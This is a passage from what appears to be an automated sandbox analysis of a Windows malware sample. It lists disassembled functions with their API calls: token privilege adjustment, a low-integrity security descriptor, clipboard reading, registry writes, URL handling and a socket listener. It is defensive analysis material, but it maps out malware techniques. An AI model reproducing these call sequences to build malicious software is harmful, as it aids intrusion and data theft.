    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 0042619F
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 004261AD
    • IsBadReadPtr.KERNEL32(?,00000010), ref: 0042623C
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040FA5A, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
    APIs
    • GetDC.USER32 ref: 0040FA5A
    • GetCurrentProcess.KERNEL32 ref: 0040FA60
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BB9F62, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 84
    APIs
      • Part of subcall function 00BBD9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 00BBD9DF
    • CharToOemW.USER32(?,?), ref: 00BB9F93
    • GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 00BBA00F
      • Part of subcall function 00BBD955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00BBD95E
      • Part of subcall function 00BBD955: DeleteFileW.KERNEL32(?), ref: 00BBD968
      • Part of subcall function 00BBD7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00BBD7C4
      • Part of subcall function 00BBD7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00BBD7E7
      • Part of subcall function 00BBD7AA: CloseHandle.KERNEL32 ref: 00BBD7F4
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00419F62, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 84
    APIs
      • Part of subcall function 0041D9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 0041D9DF
    • CharToOemW.USER32(?,?), ref: 00419F93
    • GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 0041A00F
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
      • Part of subcall function 0041D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0041D7C4
      • Part of subcall function 0041D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 0041D7E7
      • Part of subcall function 0041D7AA: CloseHandle.KERNEL32 ref: 0041D7F4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC02D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76
    APIs
    • GetCurrentThread.KERNEL32 ref: 00BC02E2
    • SetThreadPriority.KERNEL32 ref: 00BC02E9
      • Part of subcall function 00BA7ED5: CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BA7EF6
      • Part of subcall function 00BA80FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00BA817A
    • PathQuoteSpacesW.SHLWAPI(0000005C), ref: 00BC0344
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • WaitForSingleObject.KERNEL32(000000C8), ref: 00BC0382
      • Part of subcall function 00BBC7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00BBC80C
      • Part of subcall function 00BBC7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00BBC826
      • Part of subcall function 00BBC7EE: RegCloseKey.ADVAPI32(00000000), ref: 00BBC835
    • WaitForSingleObject.KERNEL32(000000C8,?), ref: 00BC03B8
      • Part of subcall function 00BBBD18: ReleaseMutex.KERNEL32 ref: 00BBBD1C
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004202D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76
    APIs
    • GetCurrentThread.KERNEL32 ref: 004202E2
    • SetThreadPriority.KERNEL32 ref: 004202E9
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
      • Part of subcall function 004080FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    • PathQuoteSpacesW.SHLWAPI(0000005C), ref: 00420344
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • WaitForSingleObject.KERNEL32(000000C8), ref: 00420382
      • Part of subcall function 0041C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 0041C80C
      • Part of subcall function 0041C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 0041C826
      • Part of subcall function 0041C7EE: RegCloseKey.ADVAPI32(00000000), ref: 0041C835
    • WaitForSingleObject.KERNEL32(000000C8,?), ref: 004203B8
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB9BF4, Relevance: 10.6, APIs: 7, Instructions: 74
    APIs
    • OpenProcessToken.ADVAPI32(000000FF,00000008,00BA7CC0), ref: 00BB9C04
    • GetTokenInformation.ADVAPI32(00BA7CC0,00000019,00000000,00000000,00BD2F90), ref: 00BB9C24
    • GetLastError.KERNEL32(?,?,?,?,?,00BA7855,00000000,00BA7CC0,00BD2F90), ref: 00BB9C2A
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • GetTokenInformation.ADVAPI32(00BA7CC0,00000019,?,00BD2F90,00BD2F90), ref: 00BB9C51
    • GetSidSubAuthorityCount.ADVAPI32(?,?,00BD2F90,00BD2F90,?,?,?,?,?,?,00BA7855,00000000,00BA7CC0,00BD2F90), ref: 00BB9C59
    • GetSidSubAuthority.ADVAPI32(?,?,?,?,00BD2F90,00BD2F90,?,?,?,?,?,?,00BA7855,00000000,00BA7CC0,00BD2F90), ref: 00BB9C70
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • CloseHandle.KERNEL32(00BA7CC0), ref: 00BB9C9B
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00419BF4, Relevance: 10.6, APIs: 7, Instructions: 74
    APIs
    • OpenProcessToken.ADVAPI32(000000FF,00000008,00407CC0), ref: 00419C04
    • GetTokenInformation.ADVAPI32(00407CC0,00000019,00000000,00000000,00432F90), ref: 00419C24
    • GetLastError.KERNEL32(?,?,?,?,?,00407855,00000000,00407CC0,00432F90), ref: 00419C2A
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetTokenInformation.ADVAPI32(00407CC0,00000019,?,00432F90,00432F90), ref: 00419C51
    • GetSidSubAuthorityCount.ADVAPI32(?,?,00432F90,00432F90,?,?,?,?,?,?,00407855,00000000,00407CC0,00432F90), ref: 00419C59
    • GetSidSubAuthority.ADVAPI32(?,?,?,?,00432F90,00432F90,?,?,?,?,?,?,00407855,00000000,00407CC0,00432F90), ref: 00419C70
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • CloseHandle.KERNEL32(00407CC0), ref: 00419C9B
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004286E2, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70
    APIs
    • GetClipboardData.USER32(?), ref: 004286EB
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • GlobalLock.KERNEL32 ref: 0042871F
    • EnterCriticalSection.KERNEL32(00434170,00000000), ref: 0042875F
      • Part of subcall function 004283EA: EnterCriticalSection.KERNEL32(00434170,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428407
      • Part of subcall function 004283EA: LeaveCriticalSection.KERNEL32(00434170,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428428
      • Part of subcall function 004283EA: EnterCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428439
      • Part of subcall function 004283EA: LeaveCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 004284C1
    • LeaveCriticalSection.KERNEL32(00434170,?,00407298), ref: 00428776
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • GlobalUnlock.KERNEL32(?), ref: 00428789
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBCAE9, Relevance: 10.6, APIs: 7, Instructions: 66
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00BBCB07
    • PathAddBackslashW.SHLWAPI(?), ref: 00BBCB1E
    • PathRemoveBackslashW.SHLWAPI(?), ref: 00BBCB2F
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00BBCB3C
    • PathAddBackslashW.SHLWAPI(?), ref: 00BBCB4D
    • GetVolumeNameForVolumeMountPointW.KERNEL32(?,?,00000064), ref: 00BBCB5C
    • CLSIDFromString.OLE32(0000007B,?), ref: 00BBCB76
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00412240, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 65
    APIs
    • GetFocus.USER32 ref: 00412240
    • GetTickCount.KERNEL32 ref: 00412246
    • MapAndLoad.IMAGEHLP(T75,cb842j46,?,00000000,00000000), ref: 004122CD
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 004153D4, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62
    APIs
    • GlobalLock.KERNEL32 ref: 004153D4
    • IsDialogMessageW.USER32 ref: 004153DA
    • SendMessageW.USER32 ref: 004153E0
    • MapAndLoad.IMAGEHLP(o49CGpS9,CFbR0,?,00000000,00000000), ref: 0041549D
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBCA60, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
    APIs
    • RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft,00000000,00000000,00000000,00000004,00000000,?,00000000), ref: 00BBCA88
      • Part of subcall function 00BBC8C5: CharUpperW.USER32(?,?,.exe,00000000), ref: 00BBC9E6
    • RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00000003,00000000,?,?), ref: 00BBCABA
    • RegCloseKey.ADVAPI32(?), ref: 00BBCAC3
    • RegCloseKey.ADVAPI32(?), ref: 00BBCADD
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB9B6C, Relevance: 10.6, APIs: 7, Instructions: 52
    APIs
    • GetCurrentThread.KERNEL32 ref: 00BB9B7C
    • OpenThreadToken.ADVAPI32 ref: 00BB9B83
    • OpenProcessToken.ADVAPI32(000000FF,00000020,00BC9F61), ref: 00BB9B95
    • LookupPrivilegeValueW.ADVAPI32(00000000,00BC9F61,?), ref: 00BB9BB9
    • AdjustTokenPrivileges.ADVAPI32(00BC9F61,00000000,00000001,00000000,00000000,00000000), ref: 00BB9BCE
    • GetLastError.KERNEL32 ref: 00BB9BD8
    • CloseHandle.KERNEL32(00BC9F61), ref: 00BB9BE7
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BCBA81, Relevance: 10.5, APIs: 7, Instructions: 47
    APIs
    • CloseHandle.KERNEL32 ref: 00BCBA8D
    • SelectObject.GDI32(00000000,00000000), ref: 00BCBAA7
    • DeleteObject.GDI32(00000000), ref: 00BCBAB8
    • DeleteDC.GDI32(00000000), ref: 00BCBAC5
    • CloseHandle.KERNEL32(00000000), ref: 00BCBAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00BCBAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00BCBC3C,00000000,00BD45C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00BCBAFE
      • Part of subcall function 00BB9EB0: CloseHandle.KERNEL32(00000000), ref: 00BB9EC2
      • Part of subcall function 00BB9EB0: CloseHandle.KERNEL32 ref: 00BB9ECB
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042BA81, Relevance: 10.5, APIs: 7, Instructions: 47
    APIs
    • CloseHandle.KERNEL32 ref: 0042BA8D
    • SelectObject.GDI32(00000000,00000000), ref: 0042BAA7
    • DeleteObject.GDI32(00000000), ref: 0042BAB8
    • DeleteDC.GDI32(00000000), ref: 0042BAC5
    • CloseHandle.KERNEL32(00000000), ref: 0042BAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042BAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,0042BC3C,00000000,004345C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 0042BAFE
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32(00000000), ref: 00419EC2
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32 ref: 00419ECB
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040D837, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46
    APIs
    • PostMessageW.USER32 ref: 0040D837
    • CreateFileW.KERNEL32 ref: 0040D83D
    • MapAndLoad.IMAGEHLP(CK86,d91a9p0,?,00000000,00000000), ref: 0040D8D3
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040D943
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040FB4E, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 45
    APIs
    • SetWindowTextW.USER32 ref: 0040FB4E
    • SetActiveWindow.USER32 ref: 0040FB54
    • TranslateAcceleratorW.USER32 ref: 0040FB5A
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBBBC6, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43
    APIs
      • Part of subcall function 00BB9B6C: GetCurrentThread.KERNEL32 ref: 00BB9B7C
      • Part of subcall function 00BB9B6C: OpenThreadToken.ADVAPI32 ref: 00BB9B83
      • Part of subcall function 00BB9B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00BC9F61), ref: 00BB9B95
      • Part of subcall function 00BB9B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00BC9F61,?), ref: 00BB9BB9
      • Part of subcall function 00BB9B6C: AdjustTokenPrivileges.ADVAPI32(00BC9F61,00000000,00000001,00000000,00000000,00000000), ref: 00BB9BCE
      • Part of subcall function 00BB9B6C: GetLastError.KERNEL32 ref: 00BB9BD8
      • Part of subcall function 00BB9B6C: CloseHandle.KERNEL32(00BC9F61), ref: 00BB9BE7
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 00BBBBE5
    • GetSecurityDescriptorSacl.ADVAPI32(?,?,00000000,00000000), ref: 00BBBC01
    • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,00000000), ref: 00BBBC18
    • LocalFree.KERNEL32(?), ref: 00BBBC27
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040F4A4, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
    APIs
    • GetFileInformationByHandle.KERNEL32 ref: 0040F4A4
    • DragFinish.SHELL32 ref: 0040F4AA
    • SendMessageW.USER32 ref: 0040F4B0
    • MapAndLoad.IMAGEHLP(sV0,WvM,?,00000000,00000000), ref: 0040F53C
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BCCA22, Relevance: 9.2, APIs: 6, Instructions: 197
    APIs
    • GetAncestor.USER32(?,00000002), ref: 00BCCA4B
    • SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 00BCCA76
    • PostMessageW.USER32(?,00000020,?), ref: 00BCCAB8
      • Part of subcall function 00BCC943: GetTickCount.KERNEL32 ref: 00BCC9A9
      • Part of subcall function 00BCC943: GetClassLongW.USER32(?,000000E6), ref: 00BCC9DE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00BCCB4E
    • PostMessageW.USER32(?,00000112,?,?), ref: 00BCCBA1
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00BCCBE0
      • Part of subcall function 00BCC7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BCC7B9
      • Part of subcall function 00BCC7B3: ReleaseMutex.KERNEL32 ref: 00BCC7ED
      • Part of subcall function 00BCC7B3: IsWindow.USER32(?), ref: 00BCC7F4
      • Part of subcall function 00BCC7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 00BCC80E
      • Part of subcall function 00BCC7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 00BCC816
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042CA22, Relevance: 9.2, APIs: 6, Instructions: 197
    APIs
    • GetAncestor.USER32(?,00000002), ref: 0042CA4B
    • SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 0042CA76
    • PostMessageW.USER32(?,00000020,?), ref: 0042CAB8
      • Part of subcall function 0042C943: GetTickCount.KERNEL32 ref: 0042C9A9
      • Part of subcall function 0042C943: GetClassLongW.USER32(?,000000E6), ref: 0042C9DE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CB4E
    • PostMessageW.USER32(?,00000112,?,?), ref: 0042CBA1
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CBE0
      • Part of subcall function 0042C7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 0042C7B9
      • Part of subcall function 0042C7B3: ReleaseMutex.KERNEL32 ref: 0042C7ED
      • Part of subcall function 0042C7B3: IsWindow.USER32(?), ref: 0042C7F4
      • Part of subcall function 0042C7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 0042C80E
      • Part of subcall function 0042C7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 0042C816
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC1A14, Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 424
    APIs
    • EnterCriticalSection.KERNEL32(00BD3FEC,?,00000000,00000000), ref: 00BC1A2F
    • LeaveCriticalSection.KERNEL32(00BD3FEC,?,00000000,00000000), ref: 00BC1AB2
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00BC1C6F
      • Part of subcall function 00BC84CE: EnterCriticalSection.KERNEL32(00BD4170,?,00BC1C94,?,?,00004E25,10000000,?,00000000,00000000), ref: 00BC84D5
      • Part of subcall function 00BC84CE: LeaveCriticalSection.KERNEL32(00BD4170,?,00004E25,10000000,?,00000000,00000000), ref: 00BC850A
      • Part of subcall function 00BC8514: EnterCriticalSection.KERNEL32(00BD4170,00000000,?,00BC1DB8,?,00000000,00000000), ref: 00BC8520
      • Part of subcall function 00BC8514: LeaveCriticalSection.KERNEL32(00BD4170,?,00000000,00000000), ref: 00BC856A
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00BC1DEB
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BC131B: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 00BC14ED
      • Part of subcall function 00BC131B: RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 00BC150D
      • Part of subcall function 00BC131B: RegCloseKey.ADVAPI32(000000FF), ref: 00BC1520
      • Part of subcall function 00BC131B: GetLocalTime.KERNEL32(?), ref: 00BC152F
      • Part of subcall function 00BC9B3D: GetTempFileNameW.KERNEL32(00BD4398,pre,00000000,?), ref: 00BC9BB9
      • Part of subcall function 00BC5C34: CreateMutexW.KERNEL32(00BD2AFC,00000000,00BD4090), ref: 00BC5C59
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BCB425, Relevance: 9.2, APIs: 6, Instructions: 170
    APIs
      • Part of subcall function 00BBB7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 00BBB866
      • Part of subcall function 00BBB7E9: WSASetLastError.WS2_32(0000274C), ref: 00BBB877
    • WSAGetLastError.WS2_32(000000FF,?,000003E8,00000000,?,?,?), ref: 00BCB465
    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00BCB47E
    • accept.WS2_32(?,?,?), ref: 00BCB4A7
      • Part of subcall function 00BBB93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00BBB953
      • Part of subcall function 00BBB8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00BBB92E
      • Part of subcall function 00BBB9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 00BBB9C7
    • EnterCriticalSection.KERNEL32(00BD45A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 00BCB56F
    • SetEvent.KERNEL32(?), ref: 00BCB596
    • LeaveCriticalSection.KERNEL32(00BD45A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 00BCB59D
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BCB218: EnterCriticalSection.KERNEL32(00BD45A0,?,000000FF,?,00BCB5CA,?,?,?,?), ref: 00BCB221
      • Part of subcall function 00BCB218: LeaveCriticalSection.KERNEL32(00BD45A0,?,000000FF,?,00BCB5CA,?,?,?,?), ref: 00BCB284
      • Part of subcall function 00BCB218: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00BCB2B6
      • Part of subcall function 00BBC62D: SetLastError.KERNEL32(0000009B,00BA83E2,00000000,00BC026D,00000000), ref: 00BBC637
      • Part of subcall function 00BBC62D: CreateThread.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BBC65A
      • Part of subcall function 00BCB2E3: EnterCriticalSection.KERNEL32(00BD45A0,?,?,00BCB607,00000000,00BCB388,?,000000FF,00000002,?,?,?,?,?), ref: 00BCB2F4
      • Part of subcall function 00BCB2E3: CloseHandle.KERNEL32(?), ref: 00BCB330
      • Part of subcall function 00BCB2E3: LeaveCriticalSection.KERNEL32(00BD45A0,?,?,00BCB607,00000000,00BCB388,?,000000FF,00000002,?,?,?,?,?), ref: 00BCB37F
      • Part of subcall function 00BBC5DB: WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBC5FA
      • Part of subcall function 00BBC5DB: CloseHandle.KERNEL32(?), ref: 00BBC606
